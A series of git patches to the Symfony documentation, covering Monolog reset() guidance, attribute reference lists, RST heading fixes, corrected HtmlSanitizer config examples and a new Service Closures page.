 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`App Password`: https://support.google.com/accounts/answer/185833
-
-
-

From d949325c125ea61edde54060adfdfd1a3552ffbb Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 16 Mar 2022 18:03:33 +0100
Subject: [PATCH 3025/5766] [Logging] Document the Monolog `reset()` method for
 long running processes

---
 logging.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/logging.rst b/logging.rst
index f25486c520d..e2472118192 100644
--- a/logging.rst
+++ b/logging.rst
@@ -367,6 +367,14 @@ information to your log entries.
 
 See :doc:`/logging/processors` for details.
 
+Handling logs in long running processes
+---------------------------------------
+
+During long running processes, logs can be accumulated into Monolog and cause some buffer overflow,
+memory increase or even non logical logs.
+Monolog in-memory data can be cleared using the ``reset()`` method on a ``Monolog\Logger`` instance.
+This should typically be called between every jobs/tasks that a long running process is working through.
+
 Learn more
 ----------
 

From 80d56a0119d9ad0b8cff33d8afbf064c07718575 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Mar 2023 11:41:02 +0100
Subject: [PATCH 3026/5766] Reformatting

---
 logging.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/logging.rst b/logging.rst
index e642a5220b7..c546701f78d 100644
--- a/logging.rst
+++ b/logging.rst
@@ -381,13 +381,14 @@ information to your log entries.
 
 See :doc:`/logging/processors` for details.
 
-Handling logs in long running processes
+Handling Logs in Long Running Processes
 ---------------------------------------
 
-During long running processes, logs can be accumulated into Monolog and cause some buffer overflow,
-memory increase or even non logical logs.
-Monolog in-memory data can be cleared using the ``reset()`` method on a ``Monolog\Logger`` instance.
-This should typically be called between every jobs/tasks that a long running process is working through.
+During long running processes, logs can be accumulated into Monolog and cause some
+buffer overflow, memory increase or even non logical logs. Monolog in-memory data
+can be cleared using the ``reset()`` method on a ``Monolog\Logger`` instance.
+This should typically be called between every job or task that a long running process
+is working through.
 
 Learn more
 ----------

From f25d340ecc602aa3391cfefb4e2e107578902635 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 7 Mar 2023 07:18:58 +0100
Subject: [PATCH 3027/5766] [Attributes] Add attributes overview for 6.2

---
 reference/attributes.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 98404e5c9f2..92c32058ff4 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -27,9 +27,12 @@ Contracts
 Dependency Injection
 ~~~~~~~~~~~~~~~~~~~~
 
+* :doc:`AsDecorator </service_container/service_decoration>`
 * :ref:`AsTaggedItem <tags_as-tagged-item>`
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
+* :ref:`Autowire <autowire-attribute>`
+* :doc:`MapDecorated </service_container/service_decoration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
@@ -40,10 +43,17 @@ EventDispatcher
 
 * :ref:`AsEventListener <event-dispatcher_event-listener-attributes>`
 
+FrameworkBundle
+~~~~~~~~~~~~~~~
+
+* :ref:`AsRoutingConditionService <routing-matching-expressions>`
+
 HttpKernel
 ~~~~~~~~~~
 
 * :doc:`AsController </controller/service>`
+* :ref:`Cache <http-cache-expiration-intro>`
+* :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime`
 
 Messenger
 ~~~~~~~~~
@@ -59,6 +69,7 @@ Security
 ~~~~~~~~
 
 * :ref:`CurrentUser <security-json-login>`
+* :ref:`IsGranted <security-securing-controller-annotations>`
 
 Serializer
 ~~~~~~~~~~
@@ -69,9 +80,17 @@ Serializer
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
 * :ref:`SerializedName <serializer_name-conversion>`
+* :ref:`SerializedPath <serializer-enabling-metadata-cache>`
+
+Twig
+~~~~
+
+* :ref:`Template <templates-template-attribute>`
 
 Validator
 ~~~~~~~~~
 
 Each validation constraint comes with a PHP attribute. See
 :doc:`/reference/constraints` for a full list of validation constraints.
+
+* :doc:`HasNamedArgument </validation/custom_constraint>`

From 66e04015347a3547f996c8a01fc3c1df98c447e1 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 8 Mar 2023 13:03:47 +0100
Subject: [PATCH 3028/5766] Use Doctor RST 1.41.0 and new rule
 `TitleUnderlineLengthMustMatchTitleLength`

---
 .doctor-rst.yaml                      | 1 +
 .github/workflows/ci.yaml             | 2 +-
 best_practices.rst                    | 4 ++--
 components/lock.rst                   | 2 +-
 components/runtime.rst                | 2 +-
 components/serializer.rst             | 2 +-
 controller.rst                        | 2 +-
 frontend/encore/bootstrap.rst         | 2 +-
 frontend/encore/virtual-machine.rst   | 2 +-
 mercure.rst                           | 2 +-
 reference/configuration/framework.rst | 2 +-
 reference/configuration/security.rst  | 2 +-
 reference/forms/types/choice.rst      | 2 +-
 reference/forms/types/tel.rst         | 2 +-
 reference/twig_reference.rst          | 2 +-
 15 files changed, 16 insertions(+), 15 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 209d697b25f..3bca2485231 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -47,6 +47,7 @@ rules:
     space_between_label_and_link_in_doc: ~
     space_between_label_and_link_in_ref: ~
     string_replacement: ~
+    title_underline_length_must_match_title_length: ~
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 89f4938c6b5..1139dcddf94 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.40.1
+                uses: docker://oskarstark/doctor-rst:1.41.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/best_practices.rst b/best_practices.rst
index 32af3400c0a..159868118b3 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -229,7 +229,7 @@ important parts of your application.
 .. _best-practice-controller-annotations:
 
 Use Attributes or Annotations to Configure Routing, Caching, and Security
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Using attributes or annotations for routing, caching, and security simplifies
 configuration. You don't need to browse several files created with different
@@ -445,7 +445,7 @@ specific tests for each page.
 .. _hardcode-urls-in-a-functional-test:
 
 Hard-code URLs in a Functional Test
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In Symfony applications, it's recommended to :ref:`generate URLs <routing-generating-urls>`
 using routes to automatically update all links when a URL changes. However, if a
diff --git a/components/lock.rst b/components/lock.rst
index fa048e56264..0907dc114ba 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -70,7 +70,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
     third argument of the ``createLock()`` method to ``false``.
 
 Serializing Locks
-------------------
+-----------------
 
 The :class:`Symfony\\Component\\Lock\\Key` contains the state of the
 :class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
diff --git a/components/runtime.rst b/components/runtime.rst
index 7b187acaeee..c0cf100f809 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -3,7 +3,7 @@
    single: Components; Runtime
 
 The Runtime Component
-======================
+=====================
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like PHP-PM, ReactPHP,
diff --git a/components/serializer.rst b/components/serializer.rst
index 4034de81a5e..5a95823163d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1069,7 +1069,7 @@ context to pass in these options using the key ``json_encode_options`` or
     $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
 
 The ``CsvEncoder``
-~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~
 
 The ``CsvEncoder`` encodes to and decodes from CSV.
 
diff --git a/controller.rst b/controller.rst
index 13537ce27c7..e39af6dd3a0 100644
--- a/controller.rst
+++ b/controller.rst
@@ -19,7 +19,7 @@ to render the content of a page.
    single: Controller; Basic example
 
 A Basic Controller
--------------------
+------------------
 
 While a controller can be any PHP callable (function, method on an object,
 or a ``Closure``), a controller is usually a method inside a controller
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 561bef79dde..f5b3959eafd 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -74,7 +74,7 @@ Now, require bootstrap from any of your JavaScript files:
     });
 
 Using Bootstrap with Turbo
----------------------------
+--------------------------
 
 If you are using bootstrap with Turbo Drive, to allow your JavaScript to load on each page change,
 wrap the initialization in a ``turbo:load`` event listener:
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 793a74e3d40..c24d2b3670b 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -93,7 +93,7 @@ connections:
     otherwise other computers can have access to it.
 
 Fix "Invalid Host header" Issue
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Webpack will respond ``Invalid Host header`` when trying to access files from
 the dev-server. To fix this, set the ``allowedHosts`` option:
diff --git a/mercure.rst b/mercure.rst
index f6dfc33c90a..be70ae7ef92 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -614,7 +614,7 @@ Checkout `the dedicated API Platform documentation`_ to learn more about
 its Mercure support.
 
 Testing
---------
+-------
 
 During unit testing it's usually not needed to send updates to Mercure.
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 66e9d7f9f76..782f4c14173 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1227,7 +1227,7 @@ The value of this option is an associative array of ``domain => IP address``
 (e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
 retry_strategy
-...............
+..............
 
 **type**: ``string``
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 40e1c7ef456..672d93b0b0a 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -413,7 +413,7 @@ If ``true``, users are always redirected to the default target path regardless
 of the previous URL that was stored in the session.
 
 default_target_path
-....................
+...................
 
 **type**: ``string`` **default**: ``/``
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 59c75fb6ac5..6775b9d7f6c 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -318,7 +318,7 @@ Field Variables
     faster to use the :ref:`selectedchoice <form-twig-selectedchoice>` test.
 
 Accessing Form Choice Data
-...........................
+..........................
 
 The ``form.vars`` variable of each choice entry holds data such as whether the
 choice is selected or not. If you need to get the full list of choices data and
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index 8a99b6752c5..aebbe3de487 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -2,7 +2,7 @@
    single: Forms; Fields; TelType
 
 TelType Field
-===============
+=============
 
 The ``TelType`` field is a text field that is rendered using the HTML5
 ``<input type="tel">`` tag. Following the recommended HTML5 behavior, the value
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 85c44bd57a3..4cb698217af 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -131,7 +131,7 @@ and :ref:`reference-assets-json-manifest-path` configuration options.
     Read more about :ref:`linking to web assets from templates <templates-link-to-assets>`.
 
 asset_version
-~~~~~~~~~~~~~~
+~~~~~~~~~~~~~
 
 .. code-block:: twig
 

From 0013f27697f0ef2c2aed6417a4351a66820298cc Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 8 Mar 2023 15:27:20 +0100
Subject: [PATCH 3029/5766] fix rst syntax for ci

---
 bundles/best_practices.rst           | 1 -
 html_sanitizer.rst                   | 2 +-
 reference/constraints/Expression.rst | 2 +-
 3 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 16ce373c51a..90206a6a8f2 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -560,4 +560,3 @@ Learn more
 .. _`valid license identifier`: https://spdx.org/licenses/
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`Travis CI`: https://docs.travis-ci.com/
-.. _`Symfony 4.4 bundle documentation`: https://symfony.com/doc/4.4/bundles.html#bundle-directory-structure
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 429e4feef5e..71530a87065 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -828,7 +828,7 @@ URLs of ``<a>`` elements:
         );
 
 Force/Allow Media URLs
-~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~
 
 Like :ref:`link URLs <html-sanitizer-link-url>`, you can also control the
 URLs of other media in the HTML. The following attributes are checked by
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index e7e8e23eb68..a51002040c0 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -263,7 +263,7 @@ Parameter        Description
 ===============  ==============================================================
 
 ``negate``
-~~~~~~~~~~~
+~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 

From c02b87d31704e1506b483e93c31149847c24b415 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Mar 2023 15:40:09 +0100
Subject: [PATCH 3030/5766] [Session] Fix an RST syntax issue

---
 session.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/session.rst b/session.rst
index aa40cbb20e0..cd9fb1f07a4 100644
--- a/session.rst
+++ b/session.rst
@@ -1129,9 +1129,6 @@ These are parameters that you can configure:
 ``expiry_field`` (default ``expires_at``):
     The name of the field where to store the session lifetime.
 
-.. index::
-    single: Sessions, saving locale
-
 Migrating Between Session Handlers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From aa5a8ffe3f5ad598c652ffc91a96b6fc9faa54cb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Mar 2023 15:42:38 +0100
Subject: [PATCH 3031/5766] [Doctrine] Fix a syntax issue

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 2879ca54332..731cd06785f 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -664,7 +664,7 @@ using the ``MapEntity`` attribute::
 .. tip::
 
     When enabled globally, it's possible to disabled the behavior on a specific
-    controller, by using the ``MapEntity`` set to ``disabled``.
+    controller, by using the ``MapEntity`` set to ``disabled``::
 
         public function show(
             #[CurrentUser]

From 2c8a35d49416c90b3f5087327a410492730610bc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 8 Mar 2023 20:23:42 +0100
Subject: [PATCH 3032/5766] [HtmlSanitizer] Fix API usage on PHP config files

---
 html_sanitizer.rst | 32 ++++++++++----------------------
 1 file changed, 10 insertions(+), 22 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 429e4feef5e..d5dbf99fa81 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -364,16 +364,13 @@ attributes from the `W3C Standard Proposal`_ are allowed.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the <article> element and 2 attributes
-                    ->allowElement('article')
-                        ->attribute('class')
-                        ->attribute('data-attr')
+                    ->allowElement('article', ['class', 'data-attr'])
 
                     // allow the <img> element and preserve the src attribute
-                    ->allowElement('img')
-                        ->attribute('src')
+                    ->allowElement('img', 'src')
 
                     // allow the <h1> element with all safe attributes
-                    ->allowElement('h1', '*')
+                    ->allowElement('h1')
             ;
         };
 
@@ -528,12 +525,10 @@ on all elements allowed *before this setting*.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow "src' on <iframe> elements
-                    ->allowAttribute('src')
-                        ->element('iframe')
+                    ->allowAttribute('src', ['iframe'])
 
                     // allow "data-attr" on all elements currently allowed
-                    ->allowAttribute('data-attr')
-                        ->element('*')
+                    ->allowAttribute('data-attr', '*')
             ;
         };
 
@@ -620,12 +615,10 @@ This option allows you to disallow attributes that were allowed before.
                         ->element('*')
 
                     // ...except for the <section> element
-                    ->dropAttriute('data-attr')
-                        ->element('section')
+                    ->dropAttribute('data-attr', ['section'])
 
                     // disallows "style' on any allowed element
                     ->dropAttribute('style')
-                        ->element('*')
             ;
         };
 
@@ -640,7 +633,7 @@ This option allows you to disallow attributes that were allowed before.
                 ->allowAttribute('data-attr')
 
                 // ...except for the <section> element
-                ->dropAttriute('data-attr', ['section'])
+                ->dropAttribute('data-attr', ['section'])
 
                 // disallows "style' on any allowed element
                 ->dropAttribute('style')
@@ -695,8 +688,7 @@ element (even if the original one didn't contain a ``rel`` attribute):
         return static function (FrameworkConfig $framework) {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    ->forceAttribute('a')
-                        ->attribute('rel', 'noopener noreferrer')
+                    ->forceAttribute('a', 'rel', 'noopener noreferrer')
             ;
         };
 
@@ -791,9 +783,7 @@ URLs of ``<a>`` elements:
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
                     // attribute will be dropped
-                    ->allowedLinkScheme('http')
-                    ->allowedLinkScheme('https')
-                    ->allowedLinkScheme('mailto')
+                    ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the
                     // URL contains a different host
@@ -907,9 +897,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
                     // attribute will be dropped
-                    ->allowedMediaScheme('http')
-                    ->allowedMediaScheme('https')
-                    ->allowedMediaScheme('mailto')
+                    ->allowedMediaSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the URL
                     // contains a different host

From d325c3680f9f82afa297454af4a8152ef4eb954f Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <jacob@hdreesen.de>
Date: Thu, 9 Mar 2023 00:02:45 +0100
Subject: [PATCH 3033/5766] Fix typos in Symfony Attributes Overview

---
 reference/attributes.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 98404e5c9f2..c77662b5c69 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -4,9 +4,9 @@
 Symfony Attributes Overview
 ===========================
 
-Attributes are the successor of annotation since PHP 8. Attributes are native
+Attributes are the successor of annotations since PHP 8. Attributes are native
 to the language and Symfony takes full advantage of them across the framework
-ans its different components.
+and its different components.
 
 Doctrine Bridge
 ~~~~~~~~~~~~~~~

From f2b2fdb9d0d40794a19b53dcc5c5e3e6a57e8b31 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Thu, 19 Aug 2021 15:47:53 +0200
Subject: [PATCH 3034/5766] [DI] Add section about Service Closures

---
 service_container/lazy_services.rst           |   3 +-
 service_container/service_closures.rst        | 115 ++++++++++++++++++
 .../service_subscribers_locators.rst          |   5 +
 3 files changed, 122 insertions(+), 1 deletion(-)
 create mode 100644 service_container/service_closures.rst

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 507be3d2f1a..75438026a57 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -6,7 +6,8 @@ Lazy Services
 
 .. seealso::
 
-    Another way to inject services lazily is via a :doc:`service subscriber </service_container/service_subscribers_locators>`.
+    Other ways to inject services lazily are via a :doc:`service closure </service_container/service_closures>` or
+    :doc:`service subscriber </service_container/service_subscribers_locators>`.
 
 Why Lazy Services?
 ------------------
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
new file mode 100644
index 00000000000..d490bcb3769
--- /dev/null
+++ b/service_container/service_closures.rst
@@ -0,0 +1,115 @@
+.. index::
+    single: DependencyInjection; Service Closures
+
+Service Closures
+================
+
+.. versionadded:: 5.4
+
+    The ``service_closure()`` function was introduced in Symfony 5.4.
+
+This feature wraps the injected service into a closure allowing it to be
+lazily loaded when and if needed.
+This is useful if the service being injected is a bit heavy to instantiate
+or is used only in certain cases.
+The service is instantiated the first time the closure is called, while
+all subsequent calls return the same instance, unless the service is
+:doc:`not shared </service_container/shared>`::
+
+    // src/Service/MyService.php
+    namespace App\Service;
+
+    use Symfony\Component\Mailer\MailerInterface;
+
+    class MyService
+    {
+        /**
+         * @var callable(): MailerInterface
+         */
+        private \Closure $mailer;
+
+        public function __construct(\Closure $mailer)
+        {
+            $this->mailer = $mailer;
+        }
+
+        public function doSomething(): void
+        {
+            // ...
+
+            $this->getMailer()->send($email);
+        }
+
+        private function getMailer(): MailerInterface
+        {
+            return ($this->mailer)();
+        }
+    }
+
+To define a service closure and inject it to another service, create an
+argument of type ``service_closure``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Service\MyService:
+                arguments: [!service_closure '@mailer']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Service\MyService">
+                    <argument type="service_closure" id="mailer"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Service\MyService;
+
+        return function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->set(MyService::class)
+                ->args([service_closure('mailer')]);
+
+            // In case the dependency is optional
+            // $services->set(MyService::class)
+            //     ->args([service_closure('mailer')->ignoreOnInvalid()]);
+        };
+
+.. seealso::
+
+    Another way to inject services lazily is via a
+    :doc:`service locator </service_container/service_subscribers_locators>`.
+
+Using a Service Closure in a Compiler Pass
+------------------------------------------
+
+In :doc:`compiler passes </service_container/compiler_passes>` you can create
+a service closure by wrapping the service reference into an instance of
+:class:`Symfony\\Component\\DependencyInjection\\Argument\\ServiceClosureArgument`::
+
+    use Symfony\Component\DependencyInjection\Argument\ServiceClosureArgument;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Reference;
+
+    public function process(ContainerBuilder $containerBuilder): void
+    {
+        // ...
+
+        $myService->addArgument(new ServiceClosureArgument(new Reference('mailer')));
+    }
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d7d59984032..efa6d71549f 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -12,6 +12,11 @@ instantiation of the services to be lazy. However, that's not possible using
 the explicit dependency injection since services are not all meant to
 be ``lazy`` (see :doc:`/service_container/lazy_services`).
 
+.. seealso::
+
+    Another way to inject services lazily is via a
+    :doc:`service closure </service_container/service_closures>`.
+
 This can typically be the case in your controllers, where you may inject several
 services in the constructor, but the action called only uses some of them.
 Another example are applications that implement the `Command pattern`_

From 41508658d7e30ffc0b75c7727f8382f5cfc3a94d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 9 Mar 2023 09:13:12 +0100
Subject: [PATCH 3035/5766] Remove obsolete versionadded directive

---
 service_container/service_closures.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index d490bcb3769..54b4db7f4a7 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -4,10 +4,6 @@
 Service Closures
 ================
 
-.. versionadded:: 5.4
-
-    The ``service_closure()`` function was introduced in Symfony 5.4.
-
 This feature wraps the injected service into a closure allowing it to be
 lazily loaded when and if needed.
 This is useful if the service being injected is a bit heavy to instantiate

From 168d5f23e1cc60a46f4dd8cf11dad1df036d4227 Mon Sep 17 00:00:00 2001
From: JoxMartin <martin.joachim@gmail.com>
Date: Thu, 9 Mar 2023 10:44:10 +0100
Subject: [PATCH 3036/5766] Fix typo in routing

There was a typo in the Matching expression section
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index e5069980974..e6823db145b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -408,7 +408,7 @@ You can also use these functions:
         // Controller (using an alias):
         #[Route(condition: "service('route_checker').check(request)")]
         // Or without alias:
-        #[Route(condition: "service('Ap\\\Service\\\RouteChecker').check(request)")]
+        #[Route(condition: "service('App\\\Service\\\RouteChecker').check(request)")]
 
 .. versionadded:: 6.1
 

From 095824b88c6587b8e3a255de54a8934ddc838ce4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Mar 2023 10:12:31 +0100
Subject: [PATCH 3037/5766] [Attributes] Add attributes overview for 6.3

---
 reference/attributes.rst              | 7 +++++++
 reference/configuration/framework.rst | 2 ++
 2 files changed, 9 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index f2b22ca958d..e6dc4a2bc6f 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -12,6 +12,7 @@ Doctrine Bridge
 ~~~~~~~~~~~~~~~
 
 * :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+* :ref:`MapEntity <doctrine-entity-value-resolver>`
 
 Command
 ~~~~~~~
@@ -27,11 +28,13 @@ Contracts
 Dependency Injection
 ~~~~~~~~~~~~~~~~~~~~
 
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AsAlias`
 * :doc:`AsDecorator </service_container/service_decoration>`
 * :ref:`AsTaggedItem <tags_as-tagged-item>`
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
 * :ref:`Autowire <autowire-attribute>`
+* :ref:`Exclude <service-psr4-loader>`
 * :doc:`MapDecorated </service_container/service_decoration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
@@ -52,8 +55,12 @@ HttpKernel
 ~~~~~~~~~~
 
 * :doc:`AsController </controller/service>`
+* :class:`Symfony\\Component\\HttpKernel\\Attribute\\AsPinnedValueResolver`
 * :ref:`Cache <http-cache-expiration-intro>`
 * :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime`
+* :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver`
+* :ref:`WithHttpStatus <framework_exceptions>`
+* :ref:`WithLogLevel <framework_exceptions>`
 
 Messenger
 ~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index afef1334e2c..5e30b411eb6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3561,6 +3561,8 @@ Defines the kind of workflow that is going to be created, which can be either
 a normal workflow or a state machine. Read :doc:`this article </workflow/workflow-and-state-machine>`
 to know their differences.
 
+.. _framework_exceptions:
+
 exceptions
 ~~~~~~~~~~
 

From 4c01579fd0152dae98ec97688483307a84150d37 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Mar 2023 11:24:00 +0100
Subject: [PATCH 3038/5766] [Attributes] Add missing #[MapEntity] attribute

---
 reference/attributes.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index f2b22ca958d..b5f32a3694b 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -12,6 +12,7 @@ Doctrine Bridge
 ~~~~~~~~~~~~~~~
 
 * :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+* :ref:`MapEntity <doctrine-entity-value-resolver>`
 
 Command
 ~~~~~~~

From f6d4b6c0ffc17dbc0b8d0b672f962aa4c67a191a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 9 Mar 2023 20:19:04 +0100
Subject: [PATCH 3039/5766] Document BackedEnumNormalizer::ALLOW_INVALID_VALUES
 context option

---
 components/serializer.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index d55f9959fee..c274d7fc33e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -851,6 +851,13 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
